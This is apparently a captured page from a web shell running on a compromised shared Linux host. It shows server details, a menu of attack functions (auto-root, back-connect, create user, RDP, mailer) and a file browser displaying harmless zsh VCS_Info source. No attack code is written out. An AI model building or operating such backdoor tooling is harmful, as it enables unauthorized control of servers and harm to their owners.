Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
zsh /
functions /
VCS_Info /
[ HOME SHELL ]
Name
Size
Permission
Action
Backends
[ DIR ]
drwxr-xr-x
Backends.zwc
78.81
KB
-rw-r--r--
VCS_INFO_adjust
246
B
-rw-r--r--
VCS_INFO_bydir_detect
1.2
KB
-rw-r--r--
VCS_INFO_check_com
294
B
-rw-r--r--
VCS_INFO_formats
3.86
KB
-rw-r--r--
VCS_INFO_get_cmd
233
B
-rw-r--r--
VCS_INFO_hexdump
373
B
-rw-r--r--
VCS_INFO_hook
1.64
KB
-rw-r--r--
VCS_INFO_maxexports
478
B
-rw-r--r--
VCS_INFO_nvcsformats
423
B
-rw-r--r--
VCS_INFO_patch2subject
3.11
KB
-rw-r--r--
VCS_INFO_quilt
5.65
KB
-rw-r--r--
VCS_INFO_reposub
313
B
-rw-r--r--
VCS_INFO_set
865
B
-rw-r--r--
VCS_INFO_set-patch-format
2.85
KB
-rw-r--r--
vcs_info
3.83
KB
-rw-r--r--
vcs_info_hookadd
450
B
-rw-r--r--
vcs_info_hookdel
882
B
-rw-r--r--
vcs_info_lastmsg
492
B
-rw-r--r--
vcs_info_printsys
1.27
KB
-rw-r--r--
vcs_info_setsys
598
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : VCS_INFO_set-patch-format
# This function is the common guts of the gen-applied-string / # gen-unapplied-string / set-patch-format dance of several backends. # # Parameters: # $1 - name of an array parameter to be the argument to gen-applied-string # (patches in reverse order) # $2 - name of a parameter to store the applied-string in # $3 - name of an array parameter to be the argument to gen-unapplied-string # (patches in order) # $4 - name of a parameter to store the unapplied-string in # $5 - context argument for use in zstyle getters # $6 - name of a parameter to store a patch-format format string in # $7 - name of an assoc parameter with extra $hook_com key-value pairs for the # set-patch-format hook invocation, or '' for none # $8 - name of an array parameter with extra arguments for the patch-format zformat call, or '' for empty # # The expanded patch-format string is returned in $REPLY. # # Output: # - $hook_com is overwritten and the keys 'applied', 'applied-n', # 'unapplied', 'unapplied-n', 'all-n' are set. { local applied_needs_escaping='unknown' local unapplied_needs_escaping='unknown' if VCS_INFO_hook 'gen-applied-string' "${(@P)1}"; then if (( ${(P)#1} )); then REPLY=${(P)1[1]} else REPLY="" fi applied_needs_escaping='yes' else REPLY=${hook_com[applied-string]} fi : ${(P)2::=$REPLY} hook_com=() if VCS_INFO_hook 'gen-unapplied-string' "${(@P)3}"; then REPLY=${(P)#3} unapplied_needs_escaping='yes' else REPLY=${hook_com[unapplied-string]} fi : ${(P)4::=$REPLY} hook_com=() if (( ${(P)#1} )); then zstyle -s "${5}" patch-format REPLY || REPLY="%p (%n applied)" else zstyle -s "${5}" nopatch-format REPLY || REPLY="no patch applied" fi : ${(P)6::=$REPLY} hook_com=( applied-n ${(P)#1} applied "${(P)2}" unapplied-n ${(P)#3} unapplied "${(P)4}" ) hook_com[all-n]=$(( ${hook_com[applied-n]} + ${hook_com[unapplied-n]} )) hook_com+=( ${7:+"${(@kvP)7}"} ) if VCS_INFO_hook 'set-patch-format' "${(P)6}"; then # Escape the value for use in $PS1 if [[ $applied_needs_escaping == 'yes' ]]; then hook_com[applied]=${hook_com[applied]//'%'/%%} fi if [[ $unapplied_needs_escaping == 'yes' ]]; then hook_com[unapplied]=${hook_com[unapplied]//'%'/%%} fi zformat -f REPLY "${(P)6}" "p:${hook_com[applied]}" "u:${hook_com[unapplied]}" \ "n:${hook_com[applied-n]}" "c:${hook_com[unapplied-n]}" \ "a:${hook_com[all-n]}" \ ${8:+"${(@P)8}"} else unset applied_needs_escaping unapplied_needs_escaping # the hook deals with escaping REPLY=${hook_com[patch-replace]} fi hook_com=() }
Close